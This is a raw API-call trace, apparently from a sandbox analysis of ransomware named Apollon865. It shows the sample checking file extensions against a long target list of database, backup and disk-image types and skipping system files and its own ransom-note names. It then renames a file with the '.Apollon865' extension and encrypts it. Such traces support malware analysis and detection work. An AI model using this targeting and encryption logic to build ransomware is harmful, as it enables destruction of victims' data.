	[0085.194] lstrlenW (lpString="rod") returned 3
	[0085.194] lstrcmpiW (lpString1="H1D", lpString2="rod") returned -1
	[0085.194] lstrlenW (lpString="rodx") returned 4
	[0085.194] lstrcmpiW (lpString1=".H1D", lpString2="rodx") returned -1
	[0085.194] lstrlenW (lpString="rpd") returned 3
	[0085.194] lstrcmpiW (lpString1="H1D", lpString2="rpd") returned -1
	[0085.194] lstrlenW (lpString="rsd") returned 3
	[0085.194] lstrcmpiW (lpString1="H1D", lpString2="rsd") returned -1
	[0085.194] lstrlenW (lpString="sas7bdat") returned 8
	[0085.194] lstrcmpiW (lpString1="ator.H1D", lpString2="sas7bdat") returned -1
	[0085.194] lstrlenW (lpString="sbf") returned 3
	[0085.194] lstrcmpiW (lpString1="H1D", lpString2="sbf") returned -1
	[0085.194] lstrlenW (lpString="scx") returned 3
	[0085.194] lstrcmpiW (lpString1="H1D", lpString2="scx") returned -1
	[0085.194] lstrlenW (lpString="sdb") returned 3
	[0085.194] lstrcmpiW (lpString1="H1D", lpString2="sdb") returned -1
	[0085.194] lstrlenW (lpString="sdc") returned 3
	[0085.194] lstrcmpiW (lpString1="H1D", lpString2="sdc") returned -1
	[0085.194] lstrlenW (lpString="sdf") returned 3
	[0085.194] lstrcmpiW (lpString1="H1D", lpString2="sdf") returned -1
	[0085.194] lstrlenW (lpString="sis") returned 3
	[0085.194] lstrcmpiW (lpString1="H1D", lpString2="sis") returned -1
	[0085.194] lstrlenW (lpString="spq") returned 3
	[0085.194] lstrcmpiW (lpString1="H1D", lpString2="spq") returned -1
	[0085.194] lstrlenW (lpString="te") returned 2
	[0085.194] lstrcmpiW (lpString1="1D", lpString2="te") returned -1
	[0085.194] lstrlenW (lpString="teacher") returned 7
	[0085.194] lstrcmpiW (lpString1="tor.H1D", lpString2="teacher") returned 1
	[0085.194] lstrlenW (lpString="tmd") returned 3
	[0085.194] lstrcmpiW (lpString1="H1D", lpString2="tmd") returned -1
	[0085.194] lstrlenW (lpString="tps") returned 3
	[0085.194] lstrcmpiW (lpString1="H1D", lpString2="tps") returned -1
	[0085.194] lstrlenW (lpString="trc") returned 3
	[0085.194] lstrcmpiW (lpString1="H1D", lpString2="trc") returned -1
	[0085.194] lstrlenW (lpString="trc") returned 3
	[0085.194] lstrcmpiW (lpString1="H1D", lpString2="trc") returned -1
	[0085.194] lstrlenW (lpString="trm") returned 3
	[0085.195] lstrcmpiW (lpString1="H1D", lpString2="trm") returned -1
	[0085.195] lstrlenW (lpString="udb") returned 3
	[0085.195] lstrcmpiW (lpString1="H1D", lpString2="udb") returned -1
	[0085.195] lstrlenW (lpString="udl") returned 3
	[0085.195] lstrcmpiW (lpString1="H1D", lpString2="udl") returned -1
	[0085.195] lstrlenW (lpString="usr") returned 3
	[0085.195] lstrcmpiW (lpString1="H1D", lpString2="usr") returned -1
	[0085.195] lstrlenW (lpString="v12") returned 3
	[0085.195] lstrcmpiW (lpString1="H1D", lpString2="v12") returned -1
	[0085.195] lstrlenW (lpString="vis") returned 3
	[0085.195] lstrcmpiW (lpString1="H1D", lpString2="vis") returned -1
	[0085.195] lstrlenW (lpString="vpd") returned 3
	[0085.195] lstrcmpiW (lpString1="H1D", lpString2="vpd") returned -1
	[0085.195] lstrlenW (lpString="vvv") returned 3
	[0085.195] lstrcmpiW (lpString1="H1D", lpString2="vvv") returned -1
	[0085.195] lstrlenW (lpString="wdb") returned 3
	[0085.195] lstrcmpiW (lpString1="H1D", lpString2="wdb") returned -1
	[0085.195] lstrlenW (lpString="wmdb") returned 4
	[0085.195] lstrcmpiW (lpString1=".H1D", lpString2="wmdb") returned -1
	[0085.195] lstrlenW (lpString="wrk") returned 3
	[0085.195] lstrcmpiW (lpString1="H1D", lpString2="wrk") returned -1
	[0085.195] lstrlenW (lpString="xdb") returned 3
	[0085.195] lstrcmpiW (lpString1="H1D", lpString2="xdb") returned -1
	[0085.195] lstrlenW (lpString="xld") returned 3
	[0085.195] lstrcmpiW (lpString1="H1D", lpString2="xld") returned -1
	[0085.195] lstrlenW (lpString="xmlff") returned 5
	[0085.195] lstrcmpiW (lpString1="r.H1D", lpString2="xmlff") returned -1
	[0085.195] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D.Apollon865") returned 87
	[0085.195] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_cvalidator.h1d"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_cvalidator.h1d.apollon865"), dwFlags=0x1) returned 1
	[0085.197] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_cvalidator.h1d.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0085.197] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=12066) returned 1
	[0085.197] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0085.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0085.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0085.198] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0085.199] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0085.199] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.199] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3230, lpName=0x0) returned 0x15c
	[0085.200] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3230) returned 0x100000
	[0085.201] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0085.202] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0085.202] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.202] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0085.202] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0085.202] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0085.202] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0085.202] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0085.202] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0085.202] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0085.202] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0085.202] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0085.203] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0085.203] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0085.203] CloseHandle (hObject=0x15c) returned 1
	[0085.203] CloseHandle (hObject=0x9c) returned 1
	[0085.203] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0085.203] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0085.203] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0085.203] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae2660aa, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae2660aa, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x365fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Help_MKWD_AssetId.H1W", cAlternateFileName="HELP_M~1.H1W")) returned 1
	[0085.203] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.203] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="Apollon865.txt.exe") returned 1
	[0085.203] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2=".") returned 1
	[0085.203] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="..") returned 1
	[0085.203] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="windows") returned -1
	[0085.203] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="bootmgr") returned 1
	[0085.203] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="temp") returned -1
	[0085.203] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="pagefile.sys") returned -1
	[0085.203] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="boot") returned 1
	[0085.203] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="ids.txt") returned -1
	[0085.203] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="ntuser.dat") returned -1
	[0085.203] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="perflogs") returned -1
	[0085.204] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2="MSBuild") returned -1
	[0085.204] lstrlenW (lpString="Help_MKWD_AssetId.H1W") returned 21
	[0085.204] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D") returned 76
	[0085.204] lstrcpyW (in: lpString1=0x119e67a, lpString2="Help_MKWD_AssetId.H1W" | out: lpString1="Help_MKWD_AssetId.H1W") returned="Help_MKWD_AssetId.H1W"
	[0085.204] lstrlenW (lpString="Help_MKWD_AssetId.H1W") returned 21
	[0085.204] lstrlenW (lpString="Apollon865") returned 10
	[0085.204] lstrcmpiW (lpString1="ssetId.H1W", lpString2="Apollon865") returned 1
	[0085.204] lstrlenW (lpString=".dll") returned 4
	[0085.204] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2=".dll") returned 1
	[0085.204] lstrlenW (lpString=".lnk") returned 4
	[0085.204] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2=".lnk") returned 1
	[0085.204] lstrlenW (lpString=".ini") returned 4
	[0085.204] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2=".ini") returned 1
	[0085.204] lstrlenW (lpString=".sys") returned 4
	[0085.204] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2=".sys") returned 1
	[0085.204] lstrlenW (lpString="Help_MKWD_AssetId.H1W") returned 21
	[0085.204] lstrlenW (lpString="bak") returned 3
	[0085.204] lstrcmpiW (lpString1="H1W", lpString2="bak") returned 1
	[0085.204] lstrlenW (lpString="ba_") returned 3
	[0085.204] lstrcmpiW (lpString1="H1W", lpString2="ba_") returned 1
	[0085.204] lstrlenW (lpString="dbb") returned 3
	[0085.204] lstrcmpiW (lpString1="H1W", lpString2="dbb") returned 1
	[0085.204] lstrlenW (lpString="vmdk") returned 4
	[0085.204] lstrcmpiW (lpString1=".H1W", lpString2="vmdk") returned -1
	[0085.204] lstrlenW (lpString="rar") returned 3
	[0085.204] lstrcmpiW (lpString1="H1W", lpString2="rar") returned -1
	[0085.204] lstrlenW (lpString="zip") returned 3
	[0085.204] lstrcmpiW (lpString1="H1W", lpString2="zip") returned -1
	[0085.204] lstrlenW (lpString="tgz") returned 3
	[0085.204] lstrcmpiW (lpString1="H1W", lpString2="tgz") returned -1
	[0085.204] lstrlenW (lpString="vbox") returned 4
	[0085.204] lstrcmpiW (lpString1=".H1W", lpString2="vbox") returned -1
	[0085.204] lstrlenW (lpString="vdi") returned 3
	[0085.204] lstrcmpiW (lpString1="H1W", lpString2="vdi") returned -1
	[0085.204] lstrlenW (lpString="vhd") returned 3
	[0085.204] lstrcmpiW (lpString1="H1W", lpString2="vhd") returned -1
	[0085.204] lstrlenW (lpString="vhdx") returned 4
	[0085.205] lstrcmpiW (lpString1=".H1W", lpString2="vhdx") returned -1
	[0085.205] lstrlenW (lpString="avhd") returned 4
	[0085.205] lstrcmpiW (lpString1=".H1W", lpString2="avhd") returned -1
	[0085.205] lstrlenW (lpString="db") returned 2
	[0085.205] lstrcmpiW (lpString1="1W", lpString2="db") returned -1
	[0085.205] lstrlenW (lpString="db2") returned 3
	[0085.205] lstrcmpiW (lpString1="H1W", lpString2="db2") returned 1
	[0085.205] lstrlenW (lpString="db3") returned 3
	[0085.205] lstrcmpiW (lpString1="H1W", lpString2="db3") returned 1
	[0085.205] lstrlenW (lpString="dbf") returned 3
	[0085.205] lstrcmpiW (lpString1="H1W", lpString2="dbf") returned 1
	[0085.205] lstrlenW (lpString="mdf") returned 3
	[0085.205] lstrcmpiW (lpString1="H1W", lpString2="mdf") returned -1
	[0085.205] lstrlenW (lpString="mdb") returned 3
	[0085.205] lstrcmpiW (lpString1="H1W", lpString2="mdb") returned -1
	[0085.205] lstrlenW (lpString="sql") returned 3
	[0085.205] lstrcmpiW (lpString1="H1W", lpString2="sql") returned -1
	[0085.205] lstrlenW (lpString="sqlite") returned 6
	[0085.205] lstrcmpiW (lpString1="Id.H1W", lpString2="sqlite") returned -1
	[0085.205] lstrlenW (lpString="sqlite3") returned 7
	[0085.205] lstrcmpiW (lpString1="tId.H1W", lpString2="sqlite3") returned 1
	[0085.205] lstrlenW (lpString="sqlitedb") returned 8
	[0085.205] lstrcmpiW (lpString1="etId.H1W", lpString2="sqlitedb") returned -1
	[0085.205] lstrlenW (lpString="xml") returned 3
	[0085.205] lstrcmpiW (lpString1="H1W", lpString2="xml") returned -1
	[0085.205] lstrlenW (lpString="$er") returned 3
	[0085.205] lstrcmpiW (lpString1="H1W", lpString2="$er") returned 1
	[0085.205] lstrlenW (lpString="4dd") returned 3
	[0085.205] lstrcmpiW (lpString1="H1W", lpString2="4dd") returned 1
	[0085.205] lstrlenW (lpString="4dl") returned 3
	[0085.205] lstrcmpiW (lpString1="H1W", lpString2="4dl") returned 1
	[0085.205] lstrlenW (lpString="^^^") returned 3
	[0085.205] lstrcmpiW (lpString1="H1W", lpString2="^^^") returned 1
	[0085.205] lstrlenW (lpString="abs") returned 3
	[0085.205] lstrcmpiW (lpString1="H1W", lpString2="abs") returned 1
	[0085.205] lstrlenW (lpString="abx") returned 3
	[0085.205] lstrcmpiW (lpString1="H1W", lpString2="abx") returned 1
	[0085.205] lstrlenW (lpString="accdb") returned 5
	[0085.206] lstrcmpiW (lpString1="d.H1W", lpString2="accdb") returned 1
	[0085.206] lstrlenW (lpString="accdc") returned 5
	[0085.206] lstrcmpiW (lpString1="d.H1W", lpString2="accdc") returned 1
	[0085.206] lstrlenW (lpString="accde") returned 5
	[0085.206] lstrcmpiW (lpString1="d.H1W", lpString2="accde") returned 1
	[0085.206] lstrlenW (lpString="accdr") returned 5
	[0085.206] lstrcmpiW (lpString1="d.H1W", lpString2="accdr") returned 1
	[0085.206] lstrlenW (lpString="accdt") returned 5
	[0085.206] lstrcmpiW (lpString1="d.H1W", lpString2="accdt") returned 1
	[0085.206] lstrlenW (lpString="accdw") returned 5
	[0085.206] lstrcmpiW (lpString1="d.H1W", lpString2="accdw") returned 1
	[0085.206] lstrlenW (lpString="accft") returned 5
	[0085.206] lstrcmpiW (lpString1="d.H1W", lpString2="accft") returned 1
	[0085.206] lstrlenW (lpString="adb") returned 3
	[0085.206] lstrcmpiW (lpString1="H1W", lpString2="adb") returned 1
	[0085.206] lstrlenW (lpString="adb") returned 3
	[0085.206] lstrcmpiW (lpString1="H1W", lpString2="adb") returned 1
	[0085.206] lstrlenW (lpString="ade") returned 3
	[0085.206] lstrcmpiW (lpString1="H1W", lpString2="ade") returned 1
	[0085.206] lstrlenW (lpString="adf") returned 3
	[0085.206] lstrcmpiW (lpString1="H1W", lpString2="adf") returned 1
	[0085.206] lstrlenW (lpString="adn") returned 3
	[0085.206] lstrcmpiW (lpString1="H1W", lpString2="adn") returned 1
	[0085.206] lstrlenW (lpString="adp") returned 3
	[0085.206] lstrcmpiW (lpString1="H1W", lpString2="adp") returned 1
	[0085.206] lstrlenW (lpString="alf") returned 3
	[0085.206] lstrcmpiW (lpString1="H1W", lpString2="alf") returned 1
	[0085.206] lstrlenW (lpString="ask") returned 3
	[0085.206] lstrcmpiW (lpString1="H1W", lpString2="ask") returned 1
	[0085.206] lstrlenW (lpString="btr") returned 3
	[0085.206] lstrcmpiW (lpString1="H1W", lpString2="btr") returned 1
	[0085.206] lstrlenW (lpString="cat") returned 3
	[0085.206] lstrcmpiW (lpString1="H1W", lpString2="cat") returned 1
	[0085.207] lstrlenW (lpString="cdb") returned 3
	[0085.207] lstrcmpiW (lpString1="H1W", lpString2="cdb") returned 1
	[0085.207] lstrlenW (lpString="ckp") returned 3
	[0085.207] lstrcmpiW (lpString1="H1W", lpString2="ckp") returned 1
	[0085.207] lstrlenW (lpString="cma") returned 3
	[0085.207] lstrcmpiW (lpString1="H1W", lpString2="cma") returned 1
	[0085.207] lstrlenW (lpString="cpd") returned 3
	[0085.207] lstrcmpiW (lpString1="H1W", lpString2="cpd") returned 1
	[0085.207] lstrlenW (lpString="dacpac") returned 6
	[0085.207] lstrcmpiW (lpString1="Id.H1W", lpString2="dacpac") returned 1
	[0085.207] lstrlenW (lpString="dad") returned 3
	[0085.207] lstrcmpiW (lpString1="H1W", lpString2="dad") returned 1
	[0085.207] lstrlenW (lpString="dadiagrams") returned 10
	[0085.207] lstrcmpiW (lpString1="ssetId.H1W", lpString2="dadiagrams") returned 1
	[0085.207] lstrlenW (lpString="daschema") returned 8
	[0085.207] lstrcmpiW (lpString1="etId.H1W", lpString2="daschema") returned 1
	[0085.207] lstrlenW (lpString="db-journal") returned 10
	[0085.207] lstrcmpiW (lpString1="ssetId.H1W", lpString2="db-journal") returned 1
	[0085.207] lstrlenW (lpString="db-shm") returned 6
	[0085.207] lstrcmpiW (lpString1="Id.H1W", lpString2="db-shm") returned 1
	[0085.207] lstrlenW (lpString="db-wal") returned 6
	[0085.207] lstrcmpiW (lpString1="Id.H1W", lpString2="db-wal") returned 1
	[0085.207] lstrlenW (lpString="dbc") returned 3
	[0085.207] lstrcmpiW (lpString1="H1W", lpString2="dbc") returned 1
	[0085.207] lstrlenW (lpString="dbs") returned 3
	[0085.207] lstrcmpiW (lpString1="H1W", lpString2="dbs") returned 1
	[0085.207] lstrlenW (lpString="dbt") returned 3
	[0085.207] lstrcmpiW (lpString1="H1W", lpString2="dbt") returned 1
	[0085.207] lstrlenW (lpString="dbv") returned 3
	[0085.207] lstrcmpiW (lpString1="H1W", lpString2="dbv") returned 1
	[0085.207] lstrlenW (lpString="dbx") returned 3
	[0085.207] lstrcmpiW (lpString1="H1W", lpString2="dbx") returned 1
	[0085.207] lstrlenW (lpString="dcb") returned 3
	[0085.207] lstrcmpiW (lpString1="H1W", lpString2="dcb") returned 1
	[0085.207] lstrlenW (lpString="dct") returned 3
	[0085.207] lstrcmpiW (lpString1="H1W", lpString2="dct") returned 1
	[0085.207] lstrlenW (lpString="dcx") returned 3
	[0085.207] lstrcmpiW (lpString1="H1W", lpString2="dcx") returned 1
	[0085.207] lstrlenW (lpString="ddl") returned 3
	[0085.208] lstrcmpiW (lpString1="H1W", lpString2="ddl") returned 1
	[0085.208] lstrlenW (lpString="dlis") returned 4
	[0085.208] lstrcmpiW (lpString1=".H1W", lpString2="dlis") returned -1
	[0085.208] lstrlenW (lpString="dp1") returned 3
	[0085.208] lstrcmpiW (lpString1="H1W", lpString2="dp1") returned 1
	[0085.208] lstrlenW (lpString="dqy") returned 3
	[0085.208] lstrcmpiW (lpString1="H1W", lpString2="dqy") returned 1
	[0085.208] lstrlenW (lpString="dsk") returned 3
	[0085.208] lstrcmpiW (lpString1="H1W", lpString2="dsk") returned 1
	[0085.208] lstrlenW (lpString="dsn") returned 3
	[0085.208] lstrcmpiW (lpString1="H1W", lpString2="dsn") returned 1
	[0085.208] lstrlenW (lpString="dtsx") returned 4
	[0085.208] lstrcmpiW (lpString1=".H1W", lpString2="dtsx") returned -1
	[0085.208] lstrlenW (lpString="dxl") returned 3
	[0085.208] lstrcmpiW (lpString1="H1W", lpString2="dxl") returned 1
	[0085.208] lstrlenW (lpString="eco") returned 3
	[0085.208] lstrcmpiW (lpString1="H1W", lpString2="eco") returned 1
	[0085.208] lstrlenW (lpString="ecx") returned 3
	[0085.208] lstrcmpiW (lpString1="H1W", lpString2="ecx") returned 1
	[0085.208] lstrlenW (lpString="edb") returned 3
	[0085.208] lstrcmpiW (lpString1="H1W", lpString2="edb") returned 1
	[0085.208] lstrlenW (lpString="epim") returned 4
	[0085.208] lstrcmpiW (lpString1=".H1W", lpString2="epim") returned -1
	[0085.208] lstrlenW (lpString="fcd") returned 3
	[0085.208] lstrcmpiW (lpString1="H1W", lpString2="fcd") returned 1
	[0085.208] lstrlenW (lpString="fdb") returned 3
	[0085.208] lstrcmpiW (lpString1="H1W", lpString2="fdb") returned 1
	[0085.208] lstrlenW (lpString="fic") returned 3
	[0085.208] lstrcmpiW (lpString1="H1W", lpString2="fic") returned 1
	[0085.208] lstrlenW (lpString="flexolibrary") returned 12
	[0085.209] lstrcmpiW (lpString1="_AssetId.H1W", lpString2="flexolibrary") returned -1
	[0085.209] lstrlenW (lpString="fm5") returned 3
	[0085.209] lstrcmpiW (lpString1="H1W", lpString2="fm5") returned 1
	[0085.209] lstrlenW (lpString="fmp") returned 3
	[0085.209] lstrcmpiW (lpString1="H1W", lpString2="fmp") returned 1
	[0085.209] lstrlenW (lpString="fmp12") returned 5
	[0085.209] lstrcmpiW (lpString1="d.H1W", lpString2="fmp12") returned -1
	[0085.209] lstrlenW (lpString="fmpsl") returned 5
	[0085.209] lstrcmpiW (lpString1="d.H1W", lpString2="fmpsl") returned -1
	[0085.209] lstrlenW (lpString="fol") returned 3
	[0085.209] lstrcmpiW (lpString1="H1W", lpString2="fol") returned 1
	[0085.209] lstrlenW (lpString="fp3") returned 3
	[0085.209] lstrcmpiW (lpString1="H1W", lpString2="fp3") returned 1
	[0085.209] lstrlenW (lpString="fp4") returned 3
	[0085.209] lstrcmpiW (lpString1="H1W", lpString2="fp4") returned 1
	[0085.209] lstrlenW (lpString="fp5") returned 3
	[0085.209] lstrcmpiW (lpString1="H1W", lpString2="fp5") returned 1
	[0085.209] lstrlenW (lpString="fp7") returned 3
	[0085.209] lstrcmpiW (lpString1="H1W", lpString2="fp7") returned 1
	[0085.209] lstrlenW (lpString="fpt") returned 3
	[0085.209] lstrcmpiW (lpString1="H1W", lpString2="fpt") returned 1
	[0085.209] lstrlenW (lpString="frm") returned 3
	[0085.209] lstrcmpiW (lpString1="H1W", lpString2="frm") returned 1
	[0085.209] lstrlenW (lpString="gdb") returned 3
	[0085.209] lstrcmpiW (lpString1="H1W", lpString2="gdb") returned 1
	[0085.209] lstrlenW (lpString="gdb") returned 3
	[0085.209] lstrcmpiW (lpString1="H1W", lpString2="gdb") returned 1
	[0085.209] lstrlenW (lpString="grdb") returned 4
	[0085.209] lstrcmpiW (lpString1=".H1W", lpString2="grdb") returned -1
	[0085.209] lstrlenW (lpString="gwi") returned 3
	[0085.209] lstrcmpiW (lpString1="H1W", lpString2="gwi") returned 1
	[0085.209] lstrlenW (lpString="hdb") returned 3
	[0085.209] lstrcmpiW (lpString1="H1W", lpString2="hdb") returned -1
	[0085.209] lstrlenW (lpString="his") returned 3
	[0085.209] lstrcmpiW (lpString1="H1W", lpString2="his") returned -1
	[0085.209] lstrlenW (lpString="ib") returned 2
	[0085.209] lstrcmpiW (lpString1="1W", lpString2="ib") returned -1
	[0085.210] lstrlenW (lpString="idb") returned 3
	[0085.210] lstrcmpiW (lpString1="H1W", lpString2="idb") returned -1
	[0085.210] lstrlenW (lpString="ihx") returned 3
	[0085.210] lstrcmpiW (lpString1="H1W", lpString2="ihx") returned -1
	[0085.210] lstrlenW (lpString="itdb") returned 4
	[0085.210] lstrcmpiW (lpString1=".H1W", lpString2="itdb") returned -1
	[0085.210] lstrlenW (lpString="itw") returned 3
	[0085.210] lstrcmpiW (lpString1="H1W", lpString2="itw") returned -1
	[0085.210] lstrlenW (lpString="jet") returned 3
	[0085.210] lstrcmpiW (lpString1="H1W", lpString2="jet") returned -1
	[0085.210] lstrlenW (lpString="jtx") returned 3
	[0085.210] lstrcmpiW (lpString1="H1W", lpString2="jtx") returned -1
	[0085.210] lstrlenW (lpString="kdb") returned 3
	[0085.210] lstrcmpiW (lpString1="H1W", lpString2="kdb") returned -1
	[0085.210] lstrlenW (lpString="kexi") returned 4
	[0085.210] lstrcmpiW (lpString1=".H1W", lpString2="kexi") returned -1
	[0085.210] lstrlenW (lpString="kexic") returned 5
	[0085.210] lstrcmpiW (lpString1="d.H1W", lpString2="kexic") returned -1
	[0085.210] lstrlenW (lpString="kexis") returned 5
	[0085.210] lstrcmpiW (lpString1="d.H1W", lpString2="kexis") returned -1
	[0085.210] lstrlenW (lpString="lgc") returned 3
	[0085.210] lstrcmpiW (lpString1="H1W", lpString2="lgc") returned -1
	[0085.210] lstrlenW (lpString="lwx") returned 3
	[0085.210] lstrcmpiW (lpString1="H1W", lpString2="lwx") returned -1
	[0085.210] lstrlenW (lpString="maf") returned 3
	[0085.210] lstrcmpiW (lpString1="H1W", lpString2="maf") returned -1
	[0085.210] lstrlenW (lpString="maq") returned 3
	[0085.210] lstrcmpiW (lpString1="H1W", lpString2="maq") returned -1
	[0085.210] lstrlenW (lpString="mar") returned 3
	[0085.210] lstrcmpiW (lpString1="H1W", lpString2="mar") returned -1
	[0085.210] lstrlenW (lpString="marshal") returned 7
	[0085.210] lstrcmpiW (lpString1="tId.H1W", lpString2="marshal") returned 1
	[0085.210] lstrlenW (lpString="mas") returned 3
	[0085.210] lstrcmpiW (lpString1="H1W", lpString2="mas") returned -1
	[0085.210] lstrlenW (lpString="mav") returned 3
	[0085.210] lstrcmpiW (lpString1="H1W", lpString2="mav") returned -1
	[0085.210] lstrlenW (lpString="maw") returned 3
	[0085.210] lstrcmpiW (lpString1="H1W", lpString2="maw") returned -1
	[0085.211] lstrlenW (lpString="mdbhtml") returned 7
	[0085.211] lstrcmpiW (lpString1="tId.H1W", lpString2="mdbhtml") returned 1
	[0085.211] lstrlenW (lpString="mdn") returned 3
	[0085.211] lstrcmpiW (lpString1="H1W", lpString2="mdn") returned -1
	[0085.211] lstrlenW (lpString="mdt") returned 3
	[0085.211] lstrcmpiW (lpString1="H1W", lpString2="mdt") returned -1
	[0085.211] lstrlenW (lpString="mfd") returned 3
	[0085.211] lstrcmpiW (lpString1="H1W", lpString2="mfd") returned -1
	[0085.211] lstrlenW (lpString="mpd") returned 3
	[0085.211] lstrcmpiW (lpString1="H1W", lpString2="mpd") returned -1
	[0085.211] lstrlenW (lpString="mrg") returned 3
	[0085.211] lstrcmpiW (lpString1="H1W", lpString2="mrg") returned -1
	[0085.211] lstrlenW (lpString="mud") returned 3
	[0085.211] lstrcmpiW (lpString1="H1W", lpString2="mud") returned -1
	[0085.211] lstrlenW (lpString="mwb") returned 3
	[0085.211] lstrcmpiW (lpString1="H1W", lpString2="mwb") returned -1
	[0085.211] lstrlenW (lpString="myd") returned 3
	[0085.211] lstrcmpiW (lpString1="H1W", lpString2="myd") returned -1
	[0085.211] lstrlenW (lpString="ndf") returned 3
	[0085.211] lstrcmpiW (lpString1="H1W", lpString2="ndf") returned -1
	[0085.211] lstrlenW (lpString="nnt") returned 3
	[0085.211] lstrcmpiW (lpString1="H1W", lpString2="nnt") returned -1
	[0085.211] lstrlenW (lpString="nrmlib") returned 6
	[0085.211] lstrcmpiW (lpString1="Id.H1W", lpString2="nrmlib") returned -1
	[0085.211] lstrlenW (lpString="ns2") returned 3
	[0085.211] lstrcmpiW (lpString1="H1W", lpString2="ns2") returned -1
	[0085.211] lstrlenW (lpString="ns3") returned 3
	[0085.211] lstrcmpiW (lpString1="H1W", lpString2="ns3") returned -1
	[0085.211] lstrlenW (lpString="ns4") returned 3
